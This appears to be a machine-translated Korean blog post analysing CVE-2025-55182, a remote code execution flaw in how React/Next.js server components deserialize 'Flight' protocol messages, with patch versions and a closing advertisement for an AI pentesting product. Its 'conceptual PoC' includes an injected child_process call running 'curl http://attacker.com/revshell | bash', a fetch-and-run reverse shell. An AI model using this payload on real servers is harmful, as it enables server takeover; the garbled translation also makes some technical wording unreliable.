소개 소개: 클라이언트-서버 경계의 붕괴
2025년 후반은 웹 보안의 패러다임이 바뀌는 시기입니다. 보안 아키텍트 및 모의 침투 테스터를 위한 정보입니다, CVE-2025-55182 (그리고 그 Next.js 변형 CVE-2025-66478)는 최근 역사상 가장 정교한 공격 벡터 중 하나입니다.
이는 단순한 위생 처리 오류가 아닙니다. 이는 "서버 측 렌더링(RSC)" 로직에 깊이 내재된 근본적인 결함입니다. 인증되지 않은 공격자가 이 결함을 악용하여 React/Next.js 서버 컴포넌트 원격 코드 실행 취약점 프레임워크에서 사용하는 독점 통신 프로토콜을 조작하여 기존 방어를 우회하여 서버에서 임의의 코드를 실행합니다.
이 글에서는 마케팅적인 요소를 배제하고 엘리트 보안 엔지니어를 위한 바이너리 수준의 취약점 분석을 제공합니다.

핵심 메커니즘: "비행" 프로토콜 해체하기
CVE-2025-55182를 익스플로잇하려면 React 19와 Next.js 14+가 통신하는 방식을 이해해야 합니다. 기존의 REST/GraphQL과 달리 RSC는 스트리밍 텍스트 형식인 "비행" 프로토콜.
비행 페이로드 구조
최신 Next.js 앱에서 네트워크 트래픽을 검사하면 RSC 페이로드 는 암호처럼 보이지만 엄격한 구문을 따릅니다:
자바스크립트
// 일반적인 비행 프로토콜 프래그먼트 1:I["./src/components/ClientComponent.js",["chunks/main.js"],"default"] 2:{"props":{"title":"Dashboard","user":"$Sreact.suspense"},"children":"$1"}
1:I: 를 나타냅니다. 가져오기. 클라이언트/서버에 특정 모듈을 로드하도록 지시합니다.$: 를 나타냅니다. 참조.$1는 1줄에 정의된 모듈을 다시 참조합니다.$S: 특별한 리액트 심볼을 나타냅니다.
근본 원인: 블라인드 역직렬화
의 핵심 CVE-2025-55182 서버가 수신하는 클라이언트-서버 간 메시지(서버 작업)를 처리하는 데 있습니다. 서버 액션은 React 서버 DOM 구현은 들어오는 비행 스트림을 암시적으로 신뢰합니다.
클라이언트가 서버 액션을 트리거하면 인수를 Flight 형식으로 직렬화합니다. 서버는 이를 수신하고 내부 메서드( 서버 참조 해결)에서 역직렬화 스트림으로 이동합니다.
치명적인 결함:
역직렬화기는 I(Import) 명령의 모듈 경로가 화이트리스트에 있는지 여부를 검증하지 못합니다. 이로 인해 공격자는 ./src/button.js와 같은 정상 경로를 내부 Node.js 핵심 모듈(예: child_process) 또는 node_modules에 있는 다른 라이브러리로 변경할 수 있습니다.

취약점 재현 및 분석(개념적 PoC)
면책 조항: 이 섹션은 교육 연구 및 방어 목적으로만 제공됩니다.
정교한 공격 체인은 다음과 같이 진행됩니다:
1단계: 정찰
공격자는 RSC 엔드포인트를 식별하며, 종종 다음과 같은 요청을 관찰합니다. /_next/static/chunks/app/page.js 또는 다음 작업 헤더를 추가합니다.
2단계: 페이로드 무기화
공격자는 사용자 정의 비행 스트림을 제작합니다. 공격자는 합법적인 UI 소품 대신 가젯 체인.
페이로드 로직:
| 표준 요청 | 악성 요청(RCE 페이로드) |
|---|---|
참조: 1:I["./component.js"] | 참조: 1:I["노드:자식_프로세스"] |
액션: 렌더링 UI | 액션: 내보낸 함수 실행 |
HTTP
`POST /v1/action HTTP/1.1 Content-Type: text/x-component Next-Action:
// 인젝션의 의사 코드 표현 1:I["node:child_process", [], "execSync"] 2:{"command": "curl http://attacker.com/revshell | bash", "args": "$1"}`
3단계: 실행
- 서버가 역직렬화합니다.
I["node:child_process"]. - 다음을 실행합니다.
require("child_process")를 서버 컨텍스트에 추가합니다. - 다음을 호출합니다.
실행 동기화공격자의 주장과 함께. - RCE 달성.
기존 보안 도구(WAF/DAST)가 실패하는 이유
보안 엔지니어에게 이를 탐지하는 것은 악몽과도 같습니다.
- 프로토콜 모호성: WAF는 비행 페이로드를 구조화되지 않은 텍스트로 인식합니다. 다음과 같은 모듈 가져오기 문자열에서는 표준 SQLi 또는 XSS 정규식 규칙이 트리거되지 않습니다.
1:I. - 기본 노출: 개발자가 정적 생성을 위해서만 Next.js를 사용하더라도 RSC 라이브러리를 포함하면 기본적으로 취약한 역직렬화 엔드포인트가 노출되는 경우가 많습니다.
이것은 교과서적인 예입니다. 공급망 취약성-비즈니스 로직이 아닌 프레임워크에 결함이 있는 것입니다.
고급 방어 및 에이전트 AI의 역할
즉각적인 해결
패치는 필수입니다. 프로토콜이 너무 복잡하여 정규식으로 안정적으로 구문 분석하기 어려우므로 '위생 처리' 미들웨어에 의존하지 마세요.
- React: 다음으로 업데이트 19.2.1.
- Next.js: 다음으로 업데이트 14.2.21, 15.1.2또는 최신 Canary 빌드를 사용하세요.
펜 테스트의 미래: 에이전트 AI
다음과 같은 취약점에 직면 CVE-2025-55182 독점 프로토콜 로직을 악용하는 기존 스캐너는 더 이상 쓸모가 없습니다. 비행을 '이해'할 수도 없고 논리적으로는 유효하지만 악의적인 스트림을 구성할 수도 없습니다.
여기에서 Penligent.ai 는 방어의 새로운 카테고리를 만듭니다. 다음을 기반으로 하는 플랫폼으로서 에이전트 AI펜리전트는 인간 팀이 확장하기 어려운 기능을 제공합니다:
- 프로토콜 시맨틱 이해: 펜리전트의 AI 에이전트는 리액트 플라이트 사양을 동적으로 분석합니다. 모듈 참조와 데이터 프롭의 구문을 이해합니다.
- 적응형 로직 퍼징: 에이전트는 수천 개의 변이된 페이로드를 생성하며, 특히 역직렬화기의 경계 조건을 조사하여 무단 모듈 액세스 패턴을 찾습니다.
- 자동화된 인증: 펜리전트는 "잠재적 문제"를 신고하는 것 이상의 기능을 제공합니다. 안전한 비파괴적 개념 증명 체인을 구축하여 RCE가 실제로 가능한지 검증하고 오탐을 제거합니다.
중요한 인프라를 보호하는 기업에서는 Penligent.ai 는 공격자보다 더 빠르게 진화하는 지속적이고 지능적인 레드팀 기능을 제공합니다.
결론
CVE-2025-55182 는 단순한 버그가 아니라 최신 웹 개발에서 클라이언트와 서버 간의 경계가 모호해진 결과입니다. RSC를 통해 더 높은 성능을 추구하면서 공격 표면이 데이터 직렬화 계층으로 확장되고 있습니다.
보안 엔지니어의 경우, 이제 Flight 프로토콜을 숙지하는 것은 필수입니다. 종속성을 감사하고, 즉시 패치를 적용하고, AI 기반 보안 검증을 고려하여 앞서 나가세요.
기관 참조:

